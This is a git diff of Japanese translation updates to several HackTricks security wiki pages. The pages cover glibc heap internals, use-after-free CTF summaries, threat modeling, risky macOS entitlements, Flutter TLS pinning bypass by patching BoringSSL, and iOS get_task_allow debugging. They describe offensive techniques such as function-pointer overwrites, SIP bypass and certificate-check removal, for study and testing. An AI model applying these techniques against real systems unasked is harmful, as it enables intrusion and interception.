- `last reminder`チャンクは、正確なサイズのチャンクが利用できない場合に発生し、そのため大きなチャンクが分割され、残りの部分のポインタがここに置かれます。
|
||||
- `top`チャンクは最後の「チャンク」であり、基本的に**ヒープの残りのすべての空間**です。トップチャンクが「空」であるとき、ヒープは完全に使用されており、さらにスペースを要求する必要があります。
|
||||
- `last reminder`チャンクは、正確なサイズのチャンクが利用できない場合に大きなチャンクが分割され、残りの部分のポインタがここに置かれるケースから来ます。
|
||||
```c
|
||||
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
|
||||
|
||||
@ -159,7 +159,7 @@ struct malloc_chunk* bk_nextsize;
|
||||
|
||||
typedef struct malloc_chunk* mchunkptr;
|
||||
```
|
||||
以前にコメントしたように、これらのチャンクにはメタデータも含まれており、以下の画像で非常に良く表現されています:
|
||||
前述のように、これらのチャンクにはメタデータも含まれており、以下の画像で非常に良く表現されています:
|
||||
|
||||
<figure><img src="../../images/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||
|
||||
@ -169,23 +169,23 @@ typedef struct malloc_chunk* mchunkptr;
|
||||
- `M`: 1の場合、このチャンクはmmapで割り当てられたスペースの一部であり、ヒープの一部ではありません
|
||||
- `P`: 1の場合、前のチャンクは使用中です
|
||||
|
||||
次に、ユーザーデータのためのスペースがあり、最後にチャンクが利用可能なときに前のチャンクサイズを示すための0x08Bがあります(または割り当てられたときにユーザーデータを格納します)。
|
||||
次に、ユーザーデータのためのスペースがあり、最後にチャンクが利用可能なときに前のチャンクサイズを示すための0x08B(または割り当てられたときにユーザーデータを格納するためのもの)があります。
|
||||
|
||||
さらに、利用可能な場合、ユーザーデータは以下のデータを含むためにも使用されます:
|
||||
|
||||
- **`fd`**: 次のチャンクへのポインタ
|
||||
- **`bk`**: 前のチャンクへのポインタ
|
||||
- **`fd_nextsize`**: リスト内で自分より小さい最初のチャンクへのポインタ
|
||||
- **`bk_nextsize`:** リスト内で自分より大きい最初のチャンクへのポインタ
|
||||
- **`fd_nextsize`**: 自身より小さいリスト内の最初のチャンクへのポインタ
|
||||
- **`bk_nextsize`:** 自身より大きいリスト内の最初のチャンクへのポインタ
|
||||
|
||||
<figure><img src="../../images/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> このようにリストをリンクすることで、すべてのチャンクが登録されている配列を持つ必要がなくなります。
|
||||
> このようにリストをリンクすることで、すべてのチャンクが登録されている配列を持つ必要がなくなることに注意してください。
|
||||
|
||||
### チャンクポインタ
|
||||
|
||||
mallocが使用されると、書き込むことができるコンテンツへのポインタが返されます(ヘッダーのすぐ後)。ただし、チャンクを管理する際には、ヘッダー(メタデータ)の先頭へのポインタが必要です。\
|
||||
mallocが使用されると、書き込むことができるコンテンツへのポインタが返されます(ヘッダーの直後)。ただし、チャンクを管理する際には、ヘッダー(メタデータ)の先頭へのポインタが必要です。\
|
||||
これらの変換には次の関数が使用されます:
|
||||
```c
|
||||
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
|
||||
@ -297,7 +297,7 @@ the chunk to the user, if necessary. */
|
||||
/* Mark a chunk as not being on the main arena. */
|
||||
#define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA)
|
||||
```
|
||||
- 他のチャンクへのサイズとポインタ
|
||||
- チャンクのサイズと他のチャンクへのポインタ
|
||||
```c
|
||||
/*
|
||||
Bits to mask off when extracting size
|
||||
@ -415,7 +415,7 @@ strcpy(ptr, "panda");
|
||||
|
||||
<figure><img src="../../images/image (1239).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
文字列pandaが`0xaaaaaaac12a0`に保存されていることがわかります(これは`x0`内のmallocからの応答として与えられたアドレスです)。その10バイト前を確認すると、`0x0`が**前のチャンクが使用されていない**(長さ0)ことを示し、このチャンクの長さが`0x21`であることがわかります。
|
||||
文字列pandaが`0xaaaaaaac12a0`に保存されていることがわかります(これは`x0`内のmallocからの応答として与えられたアドレスです)。0x10バイト前を確認すると、`0x0`は**前のチャンクが使用されていない**こと(長さ0)を示し、このチャンクの長さは`0x21`です。
|
||||
|
||||
予約された余分なスペース(0x21-0x10=0x11)は**追加ヘッダー**(0x10)から来ており、0x1は0x21Bが予約されたことを意味するのではなく、現在のヘッダーの長さの最後の3ビットには特別な意味があります。長さは常に16バイト境界に揃えられているため(64ビットマシンで)、これらのビットは実際には長さの数値によって使用されることはありません。
|
||||
```
|
||||
@ -483,7 +483,7 @@ return 0;
|
||||
|
||||
<figure><img src="../../images/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## ビンとメモリの割り当て/解放
|
||||
## Bins & Memory Allocations/Frees
|
||||
|
||||
ビンが何であり、どのように整理され、メモリがどのように割り当てられ、解放されるかを確認してください:
|
||||
|
||||
@ -491,7 +491,7 @@ return 0;
|
||||
bins-and-memory-allocations.md
|
||||
{{#endref}}
|
||||
|
||||
## ヒープ関数のセキュリティチェック
|
||||
## Heap Functions Security Checks
|
||||
|
||||
ヒープに関与する関数は、ヒープが破損していないことを確認するために、アクションを実行する前に特定のチェックを行います:
|
||||
|
||||
@ -499,10 +499,10 @@ bins-and-memory-allocations.md
|
||||
heap-memory-functions/heap-functions-security-checks.md
|
||||
{{#endref}}
|
||||
|
||||
## 参考文献
|
||||
## References
|
||||
|
||||
- [https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/](https://azeria-labs.com/heap-exploitation-part-1-understanding-the-glibc-heap-implementation/)
|
||||
- [https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/](https://azeria-labs.com/heap-exploitation-part-2-glibc-heap-free-bins/)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -53,10 +53,10 @@ d = malloc(20); // a
|
||||
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
|
||||
- プログラムはノートを作成することを許可します。ノートには、malloc(8)内にノート情報があり(呼び出すことができる関数へのポインタ付き)、ノートの内容を持つ別のmalloc(\<size>)へのポインタがあります。
|
||||
- 攻撃は、ノート情報サイズよりも大きなmalloc内容を持つ2つのノート(note0とnote1)を作成し、それらを解放してファストビン(またはtcache)に入れることです。
|
||||
- 次に、内容サイズ8の別のノート(note2)を作成します。内容はnote1にあり、チャンクが再利用されるため、関数ポインタをwin関数を指すように変更し、その後note1をUse-After-Freeして新しい関数ポインタを呼び出します。
|
||||
- 次に、内容サイズ8の別のノート(note2)を作成します。内容はnote1にあり、チャンクが再利用されるため、関数ポインタをwin関数を指すように変更し、note1をUse-After-Freeして新しい関数ポインタを呼び出します。
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
|
||||
- メモリを割り当て、希望の値を書き込み、それを解放し、再割り当てすることが可能です。前のデータがまだそこにあるため、新しい期待される構造に従って処理され、値を設定してフラグを取得することが可能になります。
|
||||
- メモリを割り当て、希望の値を書き込み、それを解放し、再割り当てすることが可能です。前のデータがまだ存在するため、新しい期待される構造に従って処理され、値を設定してフラグを取得することが可能になります。
|
||||
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
|
||||
- この場合、特定のチャンク内に4を書き込む必要があります。これは最初に割り当てられたものであり(すべてを強制的に解放した後でも)、新しく割り当てられた各チャンクの配列インデックス内の番号が保存されます。次に、4つのチャンク(最初に割り当てられたものを含む)を割り当て、最後のものには4が含まれ、その後それらを解放し、最初のものの再割り当てを強制します。これにより、最後に解放されたチャンクが使用され、その中に4が含まれます。
|
||||
- この場合、特定のチャンク内に4を書き込む必要があります。これは、すべてを強制的に解放した後でも最初に割り当てられるものです。新しく割り当てられた各チャンクの配列インデックス内の番号が保存されます。次に、4つのチャンク(最初に割り当てられたものを含む)を割り当て、最後のチャンクには4が含まれ、これらを解放し、最初のものの再割り当てを強制します。これにより、最後に解放されたチャンクが使用され、その中に4が含まれます。
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -58,4 +58,4 @@ navigator.clipboard.writeText(cmd);
|
||||
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery – https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
|
||||
- Discord Custom Invite Link Documentation – https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# 脅威モデリング
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## 脅威モデリング
|
||||
|
||||
@ -8,27 +8,27 @@ HackTricksの脅威モデリングに関する包括的なガイドへようこ
|
||||
|
||||
### 一般的に使用されるシナリオ
|
||||
|
||||
1. **ソフトウェア開発**: セキュアソフトウェア開発ライフサイクル(SSDLC)の一環として、脅威モデリングは開発の初期段階で**潜在的な脆弱性の源を特定する**のに役立ちます。
|
||||
2. **ペネトレーションテスト**: ペネトレーションテスト実行標準(PTES)フレームワークは、テストを実施する前に**システムの脆弱性を理解するための脅威モデリング**を要求します。
|
||||
1. **ソフトウェア開発**: セキュアソフトウェア開発ライフサイクル(SSDLC)の一環として、脅威モデリングは**開発の初期段階で潜在的な脆弱性の源を特定する**のに役立ちます。
|
||||
2. **ペネトレーションテスト**: ペネトレーションテスト実行標準(PTES)フレームワークは、テストを実施する前に**システムの脆弱性を理解するための脅威モデリングを要求します**。
|
||||
|
||||
### 脅威モデルの概要
|
||||
|
||||
脅威モデルは通常、アプリケーションの計画されたアーキテクチャまたは既存のビルドを示す図、画像、または他の視覚的なイラストとして表現されます。これは**データフローダイアグラム**に似ていますが、重要な違いはそのセキュリティ指向の設計にあります。
|
||||
脅威モデルは通常、アプリケーションの計画されたアーキテクチャまたは既存のビルドを示す図、画像、または他の形式の視覚的なイラストレーションとして表現されます。これは**データフローダイアグラム**に似ていますが、重要な違いはそのセキュリティ指向の設計にあります。
|
||||
|
||||
脅威モデルには、潜在的な脆弱性、リスク、または障壁を象徴する赤でマークされた要素がしばしば含まれています。リスク特定のプロセスを効率化するために、CIA(機密性、完全性、可用性)トライアドが使用され、多くの脅威モデリング手法の基礎を形成しています。STRIDEは最も一般的なものの一つです。ただし、選択された手法は特定の文脈や要件によって異なる場合があります。
|
||||
脅威モデルには、潜在的な脆弱性、リスク、または障壁を象徴する赤でマークされた要素がしばしば含まれています。リスク特定のプロセスを簡素化するために、CIA(機密性、完全性、可用性)トライアドが使用され、多くの脅威モデリング手法の基礎を形成しています。STRIDEは最も一般的なものの一つです。ただし、選択された手法は特定の文脈や要件に応じて異なる場合があります。
|
||||
|
||||
### CIAトライアド
|
||||
|
||||
CIAトライアドは情報セキュリティの分野で広く認識されているモデルで、機密性、完全性、可用性を表します。この3つの柱は、多くのセキュリティ対策やポリシーの基盤を形成し、脅威モデリング手法も含まれます。
|
||||
CIAトライアドは、情報セキュリティの分野で広く認識されているモデルで、機密性、完全性、可用性を表します。この3つの柱は、多くのセキュリティ対策やポリシーの基盤を形成し、脅威モデリング手法も含まれます。
|
||||
|
||||
1. **機密性**: データやシステムが不正な個人によってアクセスされないことを保証します。これはセキュリティの中心的な側面であり、データ侵害を防ぐために適切なアクセス制御、暗号化、その他の対策が必要です。
|
||||
2. **完全性**: データのライフサイクルにわたる正確性、一貫性、信頼性。これは、データが不正な当事者によって変更または改ざんされないことを保証します。通常、チェックサム、ハッシュ、その他のデータ検証方法が含まれます。
|
||||
2. **完全性**: データの正確性、一貫性、信頼性をそのライフサイクル全体にわたって保証します。この原則は、データが不正な当事者によって変更または改ざんされないことを確保します。通常、チェックサム、ハッシュ、その他のデータ検証方法が含まれます。
|
||||
3. **可用性**: データとサービスが必要なときに正当なユーザーにアクセス可能であることを保証します。これは、冗長性、フォールトトレランス、高可用性構成を含むことが多く、システムが中断に直面しても稼働し続けることを可能にします。
|
||||
|
||||
### 脅威モデリング手法
|
||||
|
||||
1. **STRIDE**: Microsoftによって開発されたSTRIDEは、**なりすまし、改ざん、否認、情報開示、サービス拒否、特権昇格**の頭字語です。各カテゴリは脅威のタイプを表し、この手法はプログラムやシステムの設計段階で潜在的な脅威を特定するために一般的に使用されます。
|
||||
2. **DREAD**: これは、特定された脅威のリスク評価に使用されるMicrosoftの別の手法です。DREADは、**損害の可能性、再現性、悪用可能性、影響を受けるユーザー、発見可能性**の頭字語です。これらの要素はそれぞれスコア付けされ、その結果は特定された脅威の優先順位付けに使用されます。
|
||||
2. **DREAD**: これは、特定された脅威のリスク評価に使用されるMicrosoftの別の手法です。DREADは、**損害の可能性、再現性、悪用可能性、影響を受けるユーザー、発見可能性**の頭字語です。これらの要素はそれぞれスコアが付けられ、その結果が特定された脅威の優先順位付けに使用されます。
|
||||
3. **PASTA**(攻撃シミュレーションと脅威分析のプロセス): これは7ステップの**リスク中心**の手法です。セキュリティ目標の定義と特定、技術的範囲の作成、アプリケーションの分解、脅威分析、脆弱性分析、リスク/トリアージ評価が含まれます。
|
||||
4. **Trike**: これは資産を防御することに焦点を当てたリスクベースの手法です。**リスク管理**の視点から始まり、その文脈で脅威と脆弱性を見ます。
|
||||
5. **VAST**(視覚的、アジャイル、シンプルな脅威モデリング): このアプローチは、よりアクセスしやすく、アジャイル開発環境に統合されることを目指しています。他の手法の要素を組み合わせ、**脅威の視覚的表現**に焦点を当てています。
|
||||
@ -36,11 +36,11 @@ CIAトライアドは情報セキュリティの分野で広く認識されて
|
||||
|
||||
## ツール
|
||||
|
||||
脅威モデルの作成と管理を**支援**するためのツールやソフトウェアソリューションがいくつかあります。以下は、検討すべきいくつかのツールです。
|
||||
脅威モデルの作成と管理を**支援**するために利用できるツールやソフトウェアソリューションがいくつかあります。以下は、検討すべきいくつかのツールです。
|
||||
|
||||
### [SpiderSuite](https://github.com/3nock/SpiderSuite)
|
||||
|
||||
サイバーセキュリティ専門家向けの高度なクロスプラットフォームおよび多機能GUIウェブスパイダー/クローラー。Spider Suiteは攻撃面のマッピングと分析に使用できます。
|
||||
サイバーセキュリティ専門家向けの高度なクロスプラットフォームおよび多機能GUIウェブスパイダー/クローラーです。Spider Suiteは攻撃面のマッピングと分析に使用できます。
|
||||
|
||||
**使用法**
|
||||
|
||||
@ -98,7 +98,7 @@ SpiderSuite Crawlerのようなツールを使ってインスピレーション
|
||||
|
||||
<figure><img src="../images/4_threatmodel_create-threat.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
アクター脅威とプロセス脅威の違いを考慮してください。アクターに脅威を追加する場合、「なりすまし」と「否認」しか選択できません。しかし、私たちの例ではプロセスエンティティに脅威を追加するので、脅威作成ボックスでは次のように表示されます:
|
||||
アクターモデルとプロセスモデルの脅威には違いがあることに注意してください。アクターに脅威を追加する場合、「なりすまし」と「否認」しか選択できません。しかし、私たちの例ではプロセスエンティティに脅威を追加するので、脅威作成ボックスでは次のように表示されます:
|
||||
|
||||
<figure><img src="../images/2_threatmodel_type-option.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -110,6 +110,6 @@ SpiderSuite Crawlerのようなツールを使ってインスピレーション
|
||||
|
||||
### [Microsoft Threat Modeling Tool](https://aka.ms/threatmodelingtool)
|
||||
|
||||
これはMicrosoftからの無料ツールで、ソフトウェアプロジェクトの設計段階で脅威を見つけるのに役立ちます。STRIDE手法を使用しており、特にMicrosoftのスタックで開発している人に適しています。
|
||||
これは、ソフトウェアプロジェクトの設計段階で脅威を見つけるのに役立つMicrosoftの無料ツールです。STRIDE手法を使用しており、特にMicrosoftのスタックで開発している人に適しています。
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -3,17 +3,17 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> **`com.apple`** で始まる権限は第三者には利用できず、Appleのみが付与できます。
|
||||
> **`com.apple`** で始まる権限は第三者には利用できず、Apple のみが付与できます。
|
||||
|
||||
## High
|
||||
|
||||
### `com.apple.rootless.install.heritable`
|
||||
|
||||
権限 **`com.apple.rootless.install.heritable`** は **SIPをバイパス** することを許可します。詳細は [こちらを確認してください](macos-sip.md#com.apple.rootless.install.heritable)。
|
||||
権限 **`com.apple.rootless.install.heritable`** は **SIP をバイパス** することを許可します。詳細は [こちらを確認してください](macos-sip.md#com.apple.rootless.install.heritable)。
|
||||
|
||||
### **`com.apple.rootless.install`**
|
||||
|
||||
権限 **`com.apple.rootless.install`** は **SIPをバイパス** することを許可します。詳細は [こちらを確認してください](macos-sip.md#com.apple.rootless.install)。
|
||||
権限 **`com.apple.rootless.install`** は **SIP をバイパス** することを許可します。詳細は [こちらを確認してください](macos-sip.md#com.apple.rootless.install)。
|
||||
|
||||
### **`com.apple.system-task-ports` (以前は `task_for_pid-allow` と呼ばれていました)**
|
||||
|
||||
@ -25,20 +25,20 @@
|
||||
|
||||
### `com.apple.security.cs.debugger`
|
||||
|
||||
デバッグツール権限を持つアプリは、`task_for_pid()` を呼び出して、`Get Task Allow` 権限が `true` に設定された署名されていないおよび第三者のアプリの有効なタスクポートを取得できます。しかし、デバッグツール権限があっても、デバッガは **`Get Task Allow` 権限を持たない** プロセスのタスクポートを取得できず、それらはシステム整合性保護によって保護されています。詳細は [**こちらを確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger)。
|
||||
デバッグツール権限を持つアプリは、`task_for_pid()` を呼び出して、`Get Task Allow` 権限が `true` に設定された署名されていないアプリや第三者アプリの有効なタスクポートを取得できます。しかし、デバッグツール権限があっても、デバッガは **`Get Task Allow` 権限を持たない** プロセスのタスクポートを取得できず、それらはシステム整合性保護によって保護されています。詳細は [**こちらを確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger)。
|
||||
|
||||
### `com.apple.security.cs.disable-library-validation`
|
||||
|
||||
この権限は、**Appleによって署名されていないか、メイン実行可能ファイルと同じチームIDで署名されていないフレームワーク、プラグイン、またはライブラリをロードすることを許可します**。これにより、攻撃者は任意のライブラリのロードを悪用してコードを注入する可能性があります。詳細は [**こちらを確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation)。
|
||||
この権限は、**Apple に署名されていないか、メイン実行可能ファイルと同じチーム ID で署名されていないフレームワーク、プラグイン、またはライブラリをロードする** ことを許可します。これにより、攻撃者は任意のライブラリのロードを悪用してコードを注入する可能性があります。詳細は [**こちらを確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation)。
|
||||
|
||||
### `com.apple.private.security.clear-library-validation`
|
||||
|
||||
この権限は **`com.apple.security.cs.disable-library-validation`** に非常に似ていますが、**ライブラリ検証を直接無効にするのではなく**、プロセスが **`csops` システムコールを呼び出して無効にすることを許可します**。\
|
||||
この権限は **`com.apple.security.cs.disable-library-validation`** と非常に似ていますが、**ライブラリ検証を直接無効にするのではなく**、プロセスが **`csops` システムコールを呼び出して無効にする** ことを許可します。\
|
||||
詳細は [**こちらを確認してください**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/)。
|
||||
|
||||
### `com.apple.security.cs.allow-dyld-environment-variables`
|
||||
|
||||
この権限は、**ライブラリやコードを注入するために使用される可能性のあるDYLD環境変数を使用することを許可します**。詳細は [**こちらを確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables)。
|
||||
この権限は、**ライブラリやコードを注入するために使用される可能性のある DYLD 環境変数を使用する** ことを許可します。詳細は [**こちらを確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables)。
|
||||
|
||||
### `com.apple.private.tcc.manager` または `com.apple.rootless.storage`.`TCC`
|
||||
|
||||
@ -46,7 +46,7 @@
|
||||
|
||||
### **`system.install.apple-software`** および **`system.install.apple-software.standar-user`**
|
||||
|
||||
これらの権限は、ユーザーに対して許可を求めることなく **ソフトウェアをインストールする** ことを許可します。これは **特権昇格** に役立つ可能性があります。
|
||||
これらの権限は、ユーザーに許可を求めることなく **ソフトウェアをインストールする** ことを許可します。これは **特権昇格** に役立つ可能性があります。
|
||||
|
||||
### `com.apple.private.security.kext-management`
|
||||
|
||||
@ -54,11 +54,11 @@
|
||||
|
||||
### **`com.apple.private.icloud-account-access`**
|
||||
|
||||
権限 **`com.apple.private.icloud-account-access`** により、**`com.apple.iCloudHelper`** XPCサービスと通信することが可能になり、**iCloudトークンを提供** します。
|
||||
権限 **`com.apple.private.icloud-account-access`** により、**`com.apple.iCloudHelper`** XPC サービスと通信することが可能になり、**iCloud トークンを提供** します。
|
||||
|
||||
**iMovie** と **Garageband** はこの権限を持っていました。
|
||||
|
||||
この権限から **iCloudトークンを取得する** ためのエクスプロイトに関する詳細は、トークを確認してください: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
この権限から **iCloud トークンを取得する** ためのエクスプロイトに関する詳細は、トークを確認してください: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
|
||||
### `com.apple.private.tcc.manager.check-by-audit-token`
|
||||
|
||||
@ -66,11 +66,11 @@ TODO: これが何を許可するのかはわかりません
|
||||
|
||||
### `com.apple.private.apfs.revert-to-snapshot`
|
||||
|
||||
TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) では、再起動後にSSV保護されたコンテンツを更新するために使用できる可能性があると述べられています。方法がわかる方はPRを送ってください!
|
||||
TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) では、再起動後に SSV 保護されたコンテンツを更新するために使用できる可能性があると述べられています。方法がわかる方は PR を送ってください!
|
||||
|
||||
### `com.apple.private.apfs.create-sealed-snapshot`
|
||||
|
||||
TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) では、再起動後にSSV保護されたコンテンツを更新するために使用できる可能性があると述べられています。方法がわかる方はPRを送ってください!
|
||||
TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) では、再起動後に SSV 保護されたコンテンツを更新するために使用できる可能性があると述べられています。方法がわかる方は PR を送ってください!
|
||||
|
||||
### `keychain-access-groups`
|
||||
|
||||
@ -87,11 +87,11 @@ TODO: [**このレポート**](https://jhftss.github.io/The-Nightmare-of-Apple-O
|
||||
```
|
||||
### **`kTCCServiceSystemPolicyAllFiles`**
|
||||
|
||||
**フルディスクアクセス** 権限を付与します。これは、持つことができる TCC の最高権限の一つです。
|
||||
**フルディスクアクセス** 権限を付与します。これは、TCCの中で最も高い権限の1つです。
|
||||
|
||||
### **`kTCCServiceAppleEvents`**
|
||||
|
||||
アプリが一般的に **タスクを自動化** するために他のアプリケーションにイベントを送信することを許可します。他のアプリを制御することで、これらの他のアプリに付与された権限を悪用することができます。
|
||||
アプリが一般的に**タスクを自動化**するために他のアプリケーションにイベントを送信することを許可します。他のアプリを制御することで、これらの他のアプリに付与された権限を悪用することができます。
|
||||
|
||||
例えば、ユーザーにパスワードを要求させることができます:
|
||||
```bash
|
||||
@ -117,7 +117,7 @@ Or making them perform **arbitrary actions**.
|
||||
|
||||
### `kTCCServiceAccessibility`
|
||||
|
||||
プロセスは**macOSのアクセシビリティ機能を悪用する**ことができ、例えばキーストロークを押すことができるようになります。したがって、Finder のようなアプリを制御するためのアクセスを要求し、この権限でダイアログを承認することができます。
|
||||
プロセスは**macOSのアクセシビリティ機能を悪用する**ことができ、例えばキーストロークを押すことができるようになります。したがって、Finderのようなアプリを制御するためのアクセスを要求し、この権限でダイアログを承認することができます。
|
||||
|
||||
## Medium
|
||||
|
||||
@ -137,7 +137,7 @@ Or making them perform **arbitrary actions**.
|
||||
この権限は、ディスク上の**自分の実行可能ファイルのセクションを変更する**ことを許可し、強制的に終了させることができます。詳細については[**こちらを確認してください**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection)。
|
||||
|
||||
> [!CAUTION]
|
||||
> Disable Executable Memory Protection Entitlement は、アプリから基本的なセキュリティ保護を取り除く極端な権限であり、攻撃者が検出されることなくアプリの実行可能コードを書き換えることを可能にします。可能であれば、より狭い権限を優先してください。
|
||||
> 実行可能メモリ保護を無効にする権限は、アプリから基本的なセキュリティ保護を取り除く極端な権限であり、攻撃者が検出されることなくアプリの実行可能コードを書き換えることを可能にします。可能であれば、より狭い権限を優先してください。
|
||||
|
||||
### `com.apple.security.cs.allow-relative-library-loads`
|
||||
|
||||
@ -160,11 +160,11 @@ TODO
|
||||
|
||||
### **`kTCCServicePostEvent`**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -20,21 +20,21 @@ Flutterは**GoogleのクロスプラットフォームUIツールキット**で
|
||||
Step | Command / File | Outcome
|
||||
----|----|----
|
||||
スナップショットハッシュを取得 | ```bash\npython3 get_snapshot_hash.py libapp.so\n``` | `adb4292f3ec25…`
|
||||
ハッシュをエンジンにマップ | **enginehash**リスト in reFlutter | Flutter 3 · 7 · 12 + engine commit `1a65d409…`
|
||||
ハッシュを→エンジンにマップ | **enginehash**リストをreFlutterで | Flutter 3 · 7 · 12 + engine commit `1a65d409…`
|
||||
依存コミットをプル | そのエンジンコミットのDEPSファイル | • `dart_revision` → Dart v2 · 19 · 6<br>• `dart_boringssl_rev` → BoringSSL `87f316d7…`
|
||||
|
||||
[ここでget_snapshot_hash.pyを見つける](https://github.com/Impact-I/reFlutter/blob/main/scripts/get_snapshot_hash.py)。
|
||||
|
||||
### ターゲット: `ssl_crypto_x509_session_verify_cert_chain()`
|
||||
* **BoringSSL内の`ssl_x509.cc`に位置**しています。
|
||||
* **`bool`を返す** – 単一の`true`で全体の証明書チェーンチェックをバイパスできます。
|
||||
* 同じ関数がすべてのCPUアーキテクチャに存在し、オペコードのみが異なります。
|
||||
* **BoringSSL内の`ssl_x509.cc`にあります**。
|
||||
* **`bool`を返します** – 単一の`true`で全体の証明書チェーンチェックをバイパスできます。
|
||||
* 同じ関数はすべてのCPUアーキテクチャに存在し、オペコードのみが異なります。
|
||||
|
||||
### オプションA – **reFlutter**を使用したバイナリパッチ
|
||||
1. アプリのFlutterバージョンに対して正確なエンジンとDartソースを**クローン**します。
|
||||
2. 2つのホットスポットを**正規表現パッチ**します:
|
||||
* `ssl_x509.cc`で、`return 1;`を強制します。
|
||||
* (オプション)`socket_android.cc`で、プロキシをハードコーディングします(`"10.0.2.2:8080"`)。
|
||||
* (オプション)`socket_android.cc`で、プロキシをハードコードします(`"10.0.2.2:8080"`)。
|
||||
3. libflutter.soを**再コンパイル**し、APK/IPAに戻し、署名してインストールします。
|
||||
4. 一般的なバージョンのための**事前パッチビルド**がreFlutterのGitHubリリースに出荷され、ビルド時間を数時間節約します。
|
||||
|
||||
@ -74,4 +74,4 @@ Flutter自体は **デバイスのプロキシ設定を無視します**。最
|
||||
- [https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/](https://sensepost.com/blog/2025/intercepting-https-communication-in-flutter-going-full-hardcore-mode-with-frida/)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -4,9 +4,9 @@
|
||||
|
||||
## Main idea
|
||||
|
||||
**entitlement `get_task_allow`** で署名されたアプリケーションは、初期アプリケーションのプロセスIDを引数として **`task_for_pid()`** という関数を実行することを許可し、その上でタスクポートを取得(制御し、メモリにアクセスできるようにする)します。
|
||||
**entitlement `get_task_allow`** で署名されたアプリケーションは、初期アプリケーションのプロセスIDを引数として **`task_for_pid()`** という関数を実行することを許可し、その上でタスクポートを取得(制御し、メモリにアクセスできるように)します。
|
||||
|
||||
しかし、単にIPAを引き出し、権限で再署名し、デバイスに戻すだけでは簡単ではありません。これはFairPlay保護のためです。アプリの署名が変更されると、DRM(デジタル著作権管理)キーが **無効化され、アプリは動作しなくなります**。
|
||||
しかし、単にIPAを引き出し、権限で再署名してデバイスに戻すだけでは簡単ではありません。これはFairPlay保護のためです。アプリの署名が変更されると、DRM(デジタル著作権管理)キーが **無効化され、アプリは動作しなくなります**。
|
||||
|
||||
古い脱獄デバイスを使用すれば、IPAをインストールし、**お気に入りのツールを使用して復号化**(Iridiumやfrida-ios-dumpなど)し、デバイスから引き出すことが可能です。ただし、可能であれば、復号化されたIPAをクライアントにそのまま依頼することをお勧めします。
|
||||
|
||||
